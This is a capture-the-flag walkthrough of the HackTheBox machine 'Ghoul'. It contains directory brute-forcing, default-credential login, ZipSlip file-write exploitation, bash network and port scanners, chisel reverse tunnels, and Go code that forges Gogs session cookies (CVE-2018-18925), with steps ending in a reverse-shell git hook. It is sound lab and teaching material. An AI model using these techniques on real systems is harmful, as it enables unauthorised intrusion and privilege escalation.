HackTheBox - Ghoul

Nmap scan results

I will start off with a all port scan for this machine.

So there are two webservers running on port 80 and 8080. Also there two are SSH Protocols running that just means that some kind of docker container is involved.

Running gobuster scans in the background

#Scan for root page
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.101/ -o gobuster-dir-root.out -x php,html,txt

#Scan for tomcat
gobuster dir -c 'JSESSIONID=5B4ACF4181F774E6B774987ED01605C5' -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.101/ -o gobuster-dir-tomcat.out -x html,jsp

The tomcat page requires Basic access authentication to access the web-server. I tried admin:admin and was able to get access :)

In the context of an HTTP transaction, basic access authentication is a method for an HTTP user agent (e.g. a web browser) to provide a user name and password when making a request. In basic HTTP authentication, a request contains a header field in the form of Authorization: Basic <credentials>, where credentials is the Base64 encoding of ID and password joined by a single colon :

# Root page (Main page)
/index.html           (Status: 200) [Size: 11000]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.101/images/]
/contact.html         (Status: 200) [Size: 8977]
/blog.html            (Status: 200) [Size: 10723]
/archives             (Status: 301) [Size: 315] [--> http://10.10.10.101/archives/]
/uploads              (Status: 301) [Size: 314] [--> http://10.10.10.101/uploads/]
/users                (Status: 301) [Size: 312] [--> http://10.10.10.101/users/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.101/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.101/js/]
/secret.php           (Status: 200) [Size: 4865]
/less                 (Status: 301) [Size: 311] [--> http://10.10.10.101/less/]


#Tomcat server
/index.html           (Status: 200) [Size: 43233]
/contact.html         (Status: 200) [Size: 15852]
/blog.html            (Status: 200) [Size: 20476]
/img                  (Status: 405) [Size: 1065]
/upload               (Status: 405) [Size: 1065]
/service.html         (Status: 200) [Size: 22089]
/css                  (Status: 302) [Size: 0] [--> /css/]
/portfolio.html       (Status: 200) [Size: 12999]
/js                   (Status: 302) [Size: 0] [--> /js/]
/about-us.html        (Status: 200) [Size: 20782]
/elements.html        (Status: 200) [Size: 24523]
/result.jsp           (Status: 200) [Size: 494]
/fonts                (Status: 302) [Size: 0] [--> /fonts/]
/vendors              (Status: 302) [Size: 0] [--> /vendors/]
/studio               (Status: 302) [Size: 0] [--> /studio/]

Secret community chat exposed

secret.php contains a very interesting information about their webserver and configuration. Let's see what we can get from it.

Looks they have a file upload functionality and indeed they have. If you will check the server on port 8080, they have a functionality to upload a image and a zip file.

Identifying File Upload functionality

Looks like we can also upload a zip file. Speaking of zip files, there was vulnerability named ZipSlip which allowed the remote attackers to write arbitrary files which can even result into Remote Code Execution. Read more about this vulnerability over here.

• https://www.geeksforgeeks.org/zip-slip/
• https://www.youtube.com/watch?v=l1MT5lr4p9o

Exploiting ZipSlip Vulnerability

This is a path traversal vulnerability and we want to store a malicious file on the webserver, so we will do the following things.

• First we will create a demo file for testing

• Then we will store that file in our /var/www/html directory

• After that we will use the zip command to make a malicious zip file

So after extraction of this zip file, the demo.txt file will get stored in /var/www/html directory of the target machine. Now let's upload the file and see if this works or not.

And we have successfully exploited the ZipSlip vulnerability. Now we can get our reverse shell by uploading a malicious PHP Script the same way we did for demo.txt

Getting Root Access ( Unintended Method ) - Learning stuff

As the tomcat is running as root user, we can potentially write root files as well. To verify, we can check the owner of the file or check the process.

We can create a SSH Key and then copy the public key's content to root user's authorized keys. Now to create a SSH key, type the following command : ssh-keygen -f root-rsa

We are in a docker container.

SSH keys and other backup files for local users

We have SSH Keys for the users present on the machine, but the kaneki user has encrypted his private key with a passphrase. I tried john to crack the passphrase, but didn't get anything.

We can try this ILoveTouka as a passphrase.

Scanning the Docker network for hosts

So the note.txt clearly states that there is some kind of network in which this vulnerable Gogs is running. Gogs is a painless self-hosted Git service.

Let's scan the network by creating a host scanner in bash.

#!/bin/bash

echo "[+] Starting the scan"

for i in {1..255};
        do 
                val=$(ping -c 1 -W 1 172.20.0.$i)
                if [[ "$val" == *"64 bytes"* ]];then
                        echo "[+] Host found: 172.20.0.$i"
                fi;
done
echo "[+] Done"

We know our IP is 172.20.0.10 and 172.20.0.1 is the gateway, that clearly states that 172.20.0.150 is the host we are looking for.

Now let's scan for port by creating our own port scanner. This is a simple port scanner which is very fast and flexible.

#!/bin/bash

ip=$1

if [[ $# -eq 0 ]];then
        echo "[-] Supply IP Address"
        exit 0
fi
for i in `seq 1 100`;do
        echo 1 > /dev/tcp/$ip/$i
        if [[ $? -eq 0 ]];then
                echo "[+] Port open: $i"
        fi
done

If you will check the authorized keys for kaneki user, then you will notice two names. One named kaneki@Aogiri and other one with kanekipub@kaneki_pc. This is the personal pc for kaneki user. We can use private key to login into that pc.

Pivoting to another network using SSH

Different key-scan results

ssh-keyscan is a utility for gathering the public ssh host keys of a number of hosts. It was designed to aid in building and verifying ssh_known_hosts files. ... The keys from a domain of 1,000 hosts can be collected in tens of seconds, even when some of those hosts are down or do not run ssh.

# cat to-do.txt 
Give AogiriTest user access to Eto for git.

We have another network eth1 with a IP Range of 172.18.0.x Let's scan this network for more hosts.

Default port for Gogs service is 3000 and we have this running on IP 172.18.0.2

We need to forward this port to our local machine. We can use SSH forwarding option. I will first forward the port 3000 to Aogiri machine and then through Aogiri machine to my local machine.

Forwarding port 3000 to our local machine

I am using chisel for now to forward the ports.

Machine with network 172.20.0.x and 172.18.0.x (Kaneki's pc)

./chisel client 172.20.0.10:9001 R:1337:172.18.0.2:3000 (Kaneki's pc)
./chisel server --reverse -p 9001 (Aogiri machine)

Here we are forwarding the port 3000 of 172.18.0.2 to Aogiri's machine port 1337.

Machine with network 172.20.0.x (Aogiri machine)

./chisel client 10.10.14.5:9001 R:9002:127.0.0.1:1337 (Aogiri's machine)
./chisel server --reverse -p 9001 (My local machine)

Now we have successfully forwarded 3000 port of 172.18.0.2 to my local machine at port 9002

We have Aogiri Test account for Gogs but we don't have a password. Enumerating a while ago, we found a password in tomcat-users.xml file. Maybe we can use that password to log in.

Exploiting Gogs Session ID Vulnerability (CVE-2018-18925)

Version Running of Gogs : 0.11.66.0916

There is a known vulnerability for this Gogs version.

Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

• https://www.anquanke.com/post/id/163575#h2-2
• https://github.com/TheZ3ro/gogsownz
• https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

Read more about this vulnerability and PoC given above which can help you understand it more clearly.

The main intention over here is to gain administrator privileges on Gogs which then can be exploited further in RCE using git hooks.

// Code used for forging cookies
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data, 644)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

Steps to reproduce

1. Use the code provided above to create a forged cookie data (The above code will create a file named data)

2. Create a new repository (give any name you like) and upload the data file in it.

3. Change the i_like_gogits cookie to ../tmp/local-repo/<RepoID>/data

4. Refresh the page and now we are administrator.

5. Go the repository settings and add a update git hook (Inject reverse shell script in it)

6. Add or upload a new file or edit the existing file.

7. And we are done. You probably should get a reverse shell by now

We have to upload this data file into the new repository that we just created.

We need repository ID and we can get that by looking at the page source.

Repository ID - 2

Changing the cookie to the forged one

We now have admin privileges

Getting reverse shell by using update GIT Hook

Update the Hook and upload/edit any file to make certain changes in the repository, that will eventually trigger the update hook

Privilege Escalation using gosu binary (SUID)

Get that aogiri-chatapp in our local machine and let's analyze the app for some sensitive files or credentials.

Reflog is a mechanism to record when the tip of branches are updated. This command is to manage the information recorded in it. Basically every action you perform inside of Git where data is stored, you can find it inside of the reflog.

Poking around for a bit and using git show command to view all the files, I was able to found some credentials that can be useful.

Using that credentials to get root access on kaneki's pc.

SSH Forward Agent exploitation